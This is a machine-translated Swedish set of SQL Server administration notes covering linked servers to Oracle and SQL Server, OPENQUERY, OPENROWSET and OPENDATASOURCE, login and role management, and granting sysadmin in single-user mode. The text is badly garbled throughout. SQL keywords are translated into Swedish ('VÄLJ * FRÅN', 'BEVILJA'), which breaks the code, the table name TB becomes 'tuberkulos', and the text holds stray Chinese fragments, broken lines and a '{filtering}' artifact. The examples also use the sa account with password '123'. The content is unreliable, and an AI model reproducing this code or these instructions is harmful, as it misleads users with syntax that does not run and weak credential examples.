8. Ställ in "NT AUTHORITY\SYSTEM" på den lokala inloggningen, fjärranvändarsystemet och sätt lösenordet
9.
Är du säker
6) Det finns två sätt att skriva SQL på
a) Användning av T-SQL-syntax:
VÄLJ * FRÅN
OraTest.ERP.BAS_ITEM_CLASS
Observera att när du matar in SQL-satser i SQL Query Analyzer, var uppmärksam på den kinesiska fullbredds- och halvbreddsväxlingen
Way!
b) Använd PLSQL-syntax: VÄLJ * FRÅN openquery(OraTest,'SELECT * FROM
OraTest.ERP.BAS_ITEM_CLASS ')
c) Den andra åtkomstmetoden är cirka 50 % snabbare än den första; Den andra åtkomstmetoden är direkt kopplad
ORACLE är jämförbar; Metoden för första åtkomst kan leda till oväntade fel, såsom: Tabellen existerar inte, och inte heller den nuvarande användaren
Det finns ingen tillgång till bordet, och så vidare.
d) Om kolumnen som behöver nås använder datatyper utan precision, är båda dessa
Detta är en bugg i ORACLE som inte kan åtgärdas och endast kan undvikas genom särskild hantering av frågesatser:
Metadata som tillhandahålls av OLE DB-leverantören 'OraOLEDB.Oracle' för kolumnerna är inkonsekvent. Metadatainformation ändras vid exekvering.
mssql tillagd
Ta bort användaren och ge behörigheter
Använd ditt biblioteksnamn Gå --Lägg till användare Exec sp_addlogin 'test' – lägg till inloggning Exekutiv
sp_grantdbaccess N'test' – att göra den till en legitim användare av den aktuella databasen exec sp_addrolemember N'db_owner',
N'test' – ger alla behörigheter till sin egen databas --Detta skapar användare som endast kan komma åt sin egen databas och det som ingår i databasen
Publik tabell för gästanvändare Gå --Ta bort testanvändaren exec sp_revokedbaccess N'test' – Ta bort åtkomst till databasen
Gräns exec sp_droplogin N'test' – radera inloggning Om du skapar det i Enterprise Manager, använd: Enterprise Manager - Säkerhet
Sex --Högerklicka Logga--Ny inloggning Allmänna föremål --Ange användarnamnet i namnet
--Autentiseringsmetoden väljs utifrån dina behov (om du använder Windows-autentisering måste du först skapa en ny användare bland operativsystemets användare)
--I standardinställningarna, välj databasnamnet du vill komma åt för den nya användaren Serverrollobjekt Välj inget i det här databas
Åtkomstobjekt Kontrollera namnet på databasen du vill komma åt för användaren du skapar Tillåt databasrollen, kryssa i "offentlig", "db_ownew" Visst, det här
Användaren som skapas av provet är samma som användaren som skapats av ovanstående uttalande
Det sista steget är att sätta specifika åtkomstbehörigheter för specifika användare, vilket kan hänvisas till följande minimala exempel:
--Lägg till användare som endast får tillgång till den angivna tabellen: exec sp_addlogin 'användarnamn', 'lösenord', 'standarddatabasnamn'
--lägg till i databasen exec sp_grantdbaccess 'användarnamn'
--Tilldela hela tabellbehörigheter BEVILJA: VÄLJ , INFOGA, UPPDATERA, TA BORT I TABELL1 TILL [ANVÄNDARNAMN] --Tilldela behörigheter till specifika kolumner BEVILJA, VÄLJ , UPPDATERA I TABELL1(id,AA) TILL [användarnamn]
För specifika säkerhetsinställningar och teoretisk kunskap, vänligen se SQL Online Help
Beskrivning av fast databasroll db_owner Ha fulla behörigheter i databasen.
db_accessadmin Du kan lägga till eller ta bort användar-ID:n.
db_securityadmin Kan hantera fullständiga behörigheter, objektägande, roller och rollmedlemskap.
db_ddladmin kan utfärda ALLA DDL-utlåtanden, men inte BEVILJA, ÅTERKALLA eller NEKA utdrag.
db_backupoperator kan utfärda DBCC-, CHECKPOINT- och BACKUP-uttalanden.
db_datareader Du kan välja all data från vilken användartabell som helst i databasen.
db_datawriter Du kan ändra all data i vilken användartabell som helst i databasen.
db_denydatareader Du kan inte välja någon data från någon användartabell i databasen.
db_denydatawriter Du kan inte ändra någon data i någon användartabell i databasen.
Du borde välja db_datareader, db_datawriter, db_accessadmin
5. Efter att SQL Server-instansen startats i enanvändarläge kan Windows-administratörskontot använda sqlcmd-verktyget för att ansluta i Windows-autentiseringsläge
SQL Server。 Du kan använda T-SQL-kommandon som "sp_addsrvrolemember" för att lägga till en befintlig inloggning till sysadmin-serverrollen
Eller skapa ett nytt inloggningskonto. Ett exempeluttalande är följande:
EXEC sp_addsrvrolemember 'CONTOSO\Buck', 'sysadmin';
KÖR
Lägg till en sysadmin-behörighet
(1) Hantera serverroller
I SQL Server finns det två huvudsakliga lagrade procedurer som implementerar SQL Server-rollhantering:
sp_addsrvrolemember
och sp_dropsrvrolemember
sp_addsrvrolemember Du kan lägga till ett inloggningskonto till en serverroll för att göra den till medlem i den serverrollen. Syntaxen är följande: sp_addsrvrolemember
logga in, roll
sp_dropsrvrolemember Du kan ta bort ett inloggningskonto från en serverroll, och när medlemmen tas bort från serverrollen har den inte längre den serverrollen
Behörigheterna sattes. Syntaxen är följande: sp_dropsrvrolemember [@loginname=]'login',[@rolename=]'roll'
därin
@loginname är namnet på den inloggade användaren; @rolename är en serverroll.
(2) Hantera databasroller
I SQL Server stöds databashantering
Det finns sex huvudtyper av lagrade procedurer, och deras specifika betydelser och syntax är följande:
sp_addrole: Används för att skapa en ny databasroll; sp_addrole
roll, ägare
sp_droprole: Används för att ta bort en databasroll från den nuvarande databasrollen; sp_droprole roll
sp_helprole:
Den används för att visa all information om alla databasroller i den aktuella databasen; sp_helprole ['roll']
sp_addrolemember: Brukade skicka till databasen
Lägg till databasanvändare i en roll, som kan vara användardefinierade standardroller eller fasta databasroller, men inte kan vara det
Ansökningsroller. sp_addrolemember roll, security_account
sp_droprolemember: Brukade ta bort en viss karaktär
hushåll; sp_droprolemember roll, security_account
sp_helprolemember: Används för att visa alla medlemmar i en databasroll
。 sp_helprolemember ['roll']
MSSQL LINKSERVER-fråga
---------------------------------------------------------------------------------- -- Författare:
htl258(Tony) -- Datum: 2010-06-25 22:23:18 -- Version: Microsoft SQL Server 2008 (RTM) -
10.0.1600.22 (Intel X86) -- 9 juli 2008 14:43:34 -- Upphovsrätt (c) 1988-2008 Microsoft Corporation --
Developer Edition på Windows NT 5.1 (Build 2600: Service Pack 2) -- Blogg : -- Ämne: SQL-dataoperationer mellan olika serverdatabaser ---------------------------------------------------------------------------------- --1. Skapa en länkserver --1.1 Skapa ett länknamn EXEC sp_addlinkedserver 'LinkName','','SQLOLEDB', namnet på fjärrservern
eller IP-adress' -- Om du har ett eget instansnamn, lägg till "\instansnamn"
/*例如:EXEC sp_addlinkedserver
'TonyLink','','SQLOLEDB','192.168.58.208' */ --1.2 Skapa en inloggning (eller skapa en länkserver-inloggningskarta) (välj bara ett sätt) --1.2.1 Logga in med Windows-autentisering EXEC sp_addlinkedsrvlogin 'LinkName' --eller EXEC sp_addlinkedsrvlogin 'LinkName', 'true'
/*例如:EXEC sp_addlinkedsrvlogin 'TonyLink' */ --1.2.2 Logga in med SQL-autentisering EXEC sp_addlinkedsrvlogin 'LinkName', 'false', NULL,'Användarnamn', 'Lösenord'
/*例如:EXEC
sp_addlinkedsrvlogin 'TonyLink','false', null,'sa','123' */ --2. Länkserverrelaterade dataoperationer --2.1 Frågeexempel VÄLJ * FRÅN LinkName.databasnamn.schemanamn.tabellnamn
/*例如:SELECT *
FRÅN TonyLink.Mydb.dbo.tb */ -- 2.2 Importexempel VÄLJ * IN i tabellnamn FRÅN LinkName.databasnamn.schemanamn.tabellnamn
/*例如:SELECT * INTO Newtb
FRÅN TonyLink.Mydb.dbo.tb */ -- 2.3 Uppdateringsexempel UPPDATERA LinkName.Database Name.Schema Name.Table Name SET fält='värde' VAR fält='villkor'
/*例如:UPDATE
TonyLink.Mydb.dbo.tb SET Persons='g' VAR Persons='a' */ -- 2.4 Borttagningsexempel DELETE LinkName.Database Name.Schema Name.Table Name WHERE field name='condition'
/*例如:DELETE
TonyLink.Mydb.dbo.tb VAR Persons='g' */ --3 via rowset-funktionen (OPENQUERY/OPENROWSET/OPENDATASOURCE).
Metod
- 3.1 OPENQUERY-metoden (kräver hjälp av länkservern du just skapat): -- 3.1.1 Frågeexempel SELECT * FROM OPENQUERY(LinkName, 'SELECT * FROM database name. Arkitekturens namn. bordsnamn')
/* Till exempel: SELECT * FROM OPENQUERY(TonyLink, 'SELECT * FROM Mydb.dbo.tb') */ -- 3.1.2 Importexempel --3.1.2.1 Importera alla kolumner INFOGA OPENQUERY(LinkName, 'SELECT * FROM databasnamn. Arkitekturens namn. Tabellnamn
') VÄLJ * FRÅN lokal tabell
/* 例如:INSERT OPENQUERY(TonyLink,'SELECT * FROM Mydb.dbo.tb') SELECT *
FRÅN TB */ --3.1.2.2 Importera de angivna kolumnerna INFOGA OPENQUERY(LinkName, 'SELECT * FROM databasnamn. Arkitekturens namn. tabellnamn') (kolumn, kolumn...) SELECT-kolumnen,
Kolumn... FRÅN lokal tabell
/* Till exempel: INSERT OPENQUERY(TonyLink,'SELECT * FROM Mydb.dbo.tb')(RANGE,LEVEL,Persons) UTVALD
OMRÅDE, NIVÅ, Personer FRÅN tuberkulos */ --3.1.3 Uppdateringsexempel UPPDATERA OPENQUERY(LinkName, 'SELECT * FROM databasnamn. Arkitekturens namn. tabellnamn') SET-fält = 'värde' WHERE-ordet
Segment = 'Villkor'
/*例如:UPDATE OPENQUERY(TonyLink, 'SELECT * FROM Mydb.dbo.tb') SET Persons='g' WHERE
Persons='a' */ --3.1.4 Radera exempel DELETE OPENQUERY(LinkName, 'SELECT * FROM databasnamn. Arkitekturens namn. tabellnamn') DÄR fältnamn='villkor'
/*例
Till exempel: DELETE OPENQUERY(TonyLink, 'SELECT * FROM Mydb.dbo.tb') DÄR Persons='g' */ --3.2 OPENROWSET-metoden (du behöver inte använda namnet på den skapade länken.) Om det anslutna instansnamnet inte är standard, måste du ställa in det i SQL Server-namn eller IP-adress.
"\instansnamn") --3.2.1 Frågeexempel --3.2.1.1 Windows-autentiseringsmetodfråga (en av följande metoder är tillräcklig) VÄLJ * FRÅN OPENROWSET('SQLOLEDB', 'server=sql servernamn eller
IP-adress; Trusted_Connection=ja', databasens namn. Arkitekturens namn. Bordsnamn) VÄLJ * FRÅN OPENROWSET('SQLNCLI',
'server=sql servernamn eller IP-adress; Trusted_Connection=ja', databasens namn. Arkitekturens namn. Bordsnamn) VÄLJ * FRÅN
OPENROWSET('SQLOLEDB', 'server=sql servernamn eller IP-adress; Trusted_Connection=ja','VÄLJ * FRÅN databasen
Namn. Arkitekturens namn. bordsnamn') VÄLJ * FRÅN OPENROWSET('SQLNCLI', 'server=sql servernamn eller IP-adress
Adress; Trusted_Connection=ja','VÄLJ * FRÅN databasens namn. Arkitekturens namn. bordsnamn')
/* Till exempel: VÄLJ * FRÅN OPENROWSET
('SQLOLEDB','Server=192.168.58.208; Trusted_Connection=ja',Mydb.dbo.tb)
Eller: VÄLJ * FRÅN OPENROWSET
('SQLNCLI','Server=192.168.58.208; Trusted_Connection=ja',Mydb.dbo.tb)
Eller: VÄLJ * FRÅN OPENROWSET('SQLOLEDB','Server=192.168.58.208; Trusted_Connection=ja','VÄLJ *
FRÅN Mydb.dbo.tb')
Eller: SELECT * FROM OPENROWSET('SQLNCLI','Server=192.168.58.208; Trusted_Connection=ja','VÄLJ *
FRÅN Mydb.dbo.tb') */ --3.2.1.2 SQL-autentiseringsmetodfråga (En av följande metoder är tillräcklig) VÄLJ * FRÅN OPENROWSET
('SQLOLEDB', 'server=SQL servernamn eller IP-adress; uid=användarnamn; pwd=lösenord', databasens namn. Arkitekturens namn. Bordsnamn) VÄLJ * FRÅN
OPENROWSET('SQLNCLI', 'server=sql servernamn eller IP-adress; uid=användarnamn; pwd=lösenord', databasens namn. Arkitekturens namn. Bordsnamn) VÄLJ * FRÅN OPENROWSET('SQLOLEDB', 'server=sql servernamn eller IP-adress; uid=användarnamn; pwd=lösenord','VÄLJ *
FROM databasnamn. Arkitekturens namn. bordsnamn') VÄLJ * FRÅN OPENROWSET('SQLNCLI', 'server=sql servernamn eller IP-adress; uid=
Användarnamn; pwd=lösenord','VÄLJ * FRÅN databasens namn. Arkitekturens namn. bordsnamn') SELECT * FROM OPENROWSET('SQLOLEDB', 'sql
servernamn'; 'användarnamn'; 'lösenord', databasnamn. Arkitekturens namn. Bordsnamn) VÄLJ * FRÅN OPENROWSET('SQLNCLI', 'SQL SERVER NAME)
'; 'användarnamn'; 'lösenord', databasnamn. Arkitekturens namn. Bordsnamn) VÄLJ * FRÅN OPENROWSET('SQLOLEDB', 'SQL SERVER NAME'; ' användare
namn'; 'Lösenord', 'VÄLJ * FRÅN databasens namn. Arkitekturens namn. bordsnamn') SELECT * FRÅN OPENROWSET('SQLNCLI', 'sql server)
namn'; 'användarnamn'; 'Lösenord', 'VÄLJ * FRÅN databasens namn. Arkitekturens namn. bordsnamn')
/* 例如:SELECT * FROM OPENROWSET
('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb) Eller: VÄLJ * FRÅN OPENROWSET
('SQLNCLI','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb) Eller: VÄLJ * FRÅN OPENROWSET
('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123','VÄLJ * FRÅN Mydb.dbo.tb')
eller: SELECT * FROM OPENROWSET('SQLNCLI','server=192.168.58.208; uid=sa; pwd=123','VÄLJ * FRÅN
Mydb.dbo.tb')
eller: VÄLJ * FRÅN OPENROWSET('SQLOLEDB','192.168.58.208'; 'sa'; '123', mydb.dbo.tb)
eller: VÄLJ * FRÅN OPENROWSET('SQLNCLI','192.168.58.208'; 'sa'; '123', mydb.dbo.tb)
eller: VÄLJ * FRÅN OPENROWSET('SQLOLEDB','192.168.58.208'; 'sa'; '123','VÄLJ * FRÅN Mydb.dbo.tb')
eller: VÄLJ * FRÅN OPENROWSET('SQLNCLI','192.168.58.208'; 'sa'; '123','VÄLJ * FRÅN Mydb.dbo.tb') */ --3.2.2 Importexempel --3.2.2.1 Importera alla kolumner INSERT OPENROWSET('SQLOLEDB', 'server=sql servernamn eller IP-adress)
Adress; uid=användarnamn; pwd=lösenord', databasens namn. Arkitekturens namn. Bordsnamn) VÄLJ * FRÅN lokal tabell
/* 例如:INSERT OPENROWSET
('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb) VÄLJ * FRÅN TB */ --3.2.2.2 Import
Specificera kolumner INSERT OPENROWSET('SQLOLEDB', 'server=sql servernamn eller IP-adress; uid=användarnamn; pwd=lösenord', databasens namn. Rack
Konstruktionsnamn. tabellnamn) (kolumn, kolumn...) VÄLJ kolumn, kolumn... FRÅN lokal tabell
/* 例如:INSERT OPENROWSET
('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb)(RÄCKVIDD, NIVÅ, Personer) UTVALD
OMRÅDE, NIVÅ, Personer FRÅN tuberkulos */ --Not: För fler alternativa metoder, se .2.1-frågeexemplet, ersätt bara funktionen OPENROWSET
Innehållet är tillräckligt. --3.2.3 Uppdateringsexempel UPPDATERA OPENROWSET('SQLOLEDB', 'server=sql servernamn eller IP-adress; uid=användarnamn
;p wd=lösenord', databasens namn. Arkitekturens namn. Bordsnamn) SET-fält = 'värde' DÄR fältet = 'villkor'
/*例如:UPDATE OPENROWSET
('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb) SET Persons='g' DÄR Persons='a' */ --Not: För fler alternativa metoder, se .2.1-frågeexemplet, ersätt bara innehållet i OPENROWSET. --3.2.4 Ta bort indikationen
Exempel DELETE OPENROWSET('SQLOLEDB', 'server=sql servernamn eller IP-adress; uid=användarnamn; pwd=lösenord', databasens namn. Schemanamn
.tabellnamn) WHERE-fältnamn='villkor'
/* Till exempel: DELETE OPENROWSET('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb) DÄR
Persons='g' */ --Not: För fler alternativa metoder, se .2.1-frågeexemplet, ersätt bara innehållet i OPENROWSET. --3.3 OPENDATASOURCE-metoden
(Du behöver inte använda namnet på den skapade länken.) Om instansnamnet på anslutningen inte är standard, behöver du lägga till \instansnamn efter SQL-serverns namn eller IP-adress
") --3.3.1 Frågeexempel --3.3.1.1 Windows autentiseringsmetodfråga (En av följande metoder är tillräcklig) VÄLJ * FRÅN OPENDATASOURCE('SQLOLEDB',
'server=sql servernamn eller IP-adress; Trusted_Connection=ja'). Databasens namn. Arkitekturens namn. Tabellnamn VÄLJ * FRÅN
OPENDATASOURCE('SQLNCLI', 'server=sql servernamn eller IP-adress; Trusted_Connection=ja'). Databasens namn. Arkitekturens namn.
Tabellnamn
/* Till exempel: VÄLJ * FRÅN OPENDATASOURCE
('SQLOLEDB','Server=192.168.58.208; Trusted_Connection=ja'). Mydb.dbo.tb
Eller: VÄLJ * FRÅN OPENDATASOURCE
('SQLNCLI','Server=192.168.58.208; Trusted_Connection=ja'). Mydb.dbo.tb */ --3.3.1.2 SQL-autentiseringsmetodfråga (en av följande metoder är tillräcklig) VÄLJ * FRÅN OPENDATASOURCE('SQLOLEDB', 'server=sql servernamn eller
IP-adress; uid=användarnamn; pwd=lösenord'). Databasens namn. Arkitekturens namn. Tabellnamn VÄLJ * FRÅN OPENDATASOURCE('SQLNCLI', 'server=sql servernamn eller IP-adress; uid=användare
Namn; pwd=lösenord'). Databasens namn. Arkitekturens namn. Tabellnamn VÄLJ * FRÅN OPENDATASOURCE('SQLOLEDB', 'Data Source=sql servernamn eller IP-adress
Adress; uid=användarnamn; pwd=lösenord'). Databasens namn. Arkitekturens namn. Tabellnamn VÄLJ * FRÅN OPENDATASOURCE('SQLNCLI', 'Data Source=sql server name eller IP-adress
Adress; uid=användarnamn; pwd=lösenord'). Databasens namn. Arkitekturens namn. Tabellnamn
/* 例如:SELECT * FROM OPENDATASOURCE
('SQLOLEDB','Server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
Eller: SELECT * FROM OPENDATASOURCE('SQLNCLI','Server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
Eller: VÄLJ * FRÅN OPENDATASOURCE('SQLOLEDB','Data
Källa=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
Eller: VÄLJ * FRÅN OPENDATASOURCE('SQLNCLI','Data
källa=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb */ Importera alla kolumner INFOGA OPENDATASOURCE('SQLOLEDB', 'server=sql servernamn eller IP-adress; uid=användarnamn; pwd=lösenord').
Enligt bibliotekets namn. Arkitekturens namn. Tabellnamn VÄLJ * FRÅN lokal tabell
/* Till exempel: INSERT OPENDATASOURCE('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb UTVALD
* FRÅN TB */ --3.3.2.2 Importera de angivna kolumnerna INFOGA OPENDATASOURCE('SQLOLEDB', 'server=sql servernamn eller IP-adress; uid=användarnamn; pwd=lösenord').
Enligt bibliotekets namn. Arkitekturens namn. Tabellnamn (kolumn, kolumn...) VÄLJ kolumn, kolumn... FRÅN lokal tabell
/* Till exempel: INSERT OPENDATASOURCE('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
(AVSTÅND, NIVÅ, personer) VÄLJ INTERVALL, NIVÅ, Personer FRÅN tuberkulos */ --Not: För fler alternativa metoder, se .3.1-frågeexemplet, ersätt bara innehållet i linjeuppsättningsfunktionen (OPENDATASOURCE). --3.3.3 Uppdateringsexempel UPPDATERA OPENDATASOURCE('SQLOLEDB', 'server=sql servernamn eller IP-adress; uid=användarnamn; pwd=lösenord'). Databasens namn. Arkitekturens namn. Tabellnamn SET-fält = 'värde' DÄR fältet = 'villkor'
/*例如:UPDATE OPENDATASOURCE
('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb SET Persons='g' DÄR Persons='a' */ --Not: För fler alternativa metoder, se .3.1-frågeexemplet, ersätt bara innehållet i linjeuppsättningsfunktionen (OPENDATASOURCE). --3.3.4 Borttagningsexempel DELETE OPENDATASOURCE('SQLOLEDB', 'server=sql servernamn eller IP-adress; uid=användarnamn; pwd=lösenord'). Databasens namn. Arkitekturens namn. Tabellnamn WHERE-fältnamn='villkor'
/*例如:DELETE OPENDATASOURCE
('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb DÄR Personer = 'g' */ - Notera: Fler alternativ
Se exemplet med .3.1-frågan, ersätt bara innehållet i rowset-funktionen (OPENDATASOURCE). -- Ta bort den länkade servermetoden --Om du inte längre använder länkinformationen i framtiden kan du ta bort länkinformationen --4.1 Ta bort inloggningsinformation (eller ta bort länkad serverinloggningsnamnkarta) EXEC sp_droplinkedsrvlogin 'LinkName', NULL
/* Till exempel: EXEC sp_droplinkedsrvlogin 'TonyLink', NULL */ --4.2 Radera det länkade servernamnet EXEC sp_dropserver 'LinkName', 'droplogins' – om droplogins är specificerade, Inloggningskartan måste raderas innan den länkade servern tas bort
/*例如:EXEC sp_dropserver 'TonyLink','droplogins' */
--Bifogat
: Hur man får tag på leverantörsnamnet (EXEC-master). xp_enum_oledb_providers) VÄLJ ROLL([Leverantörsnamn] SOM
VARCHAR(30)) ProviderName, CAST([Provider Descrip{filtering}tion] AS VARCHAR(60)) ProviderDescrip{filtering}tion FRÅN
OPENROWSET( 'SQLOLEDB', 'Server=.; Trusted_Connection=ja', 'SLÄPP IGÅNG FMTONLY; EXEC
Mästare.. xp_enum_oledb_providers'
)
|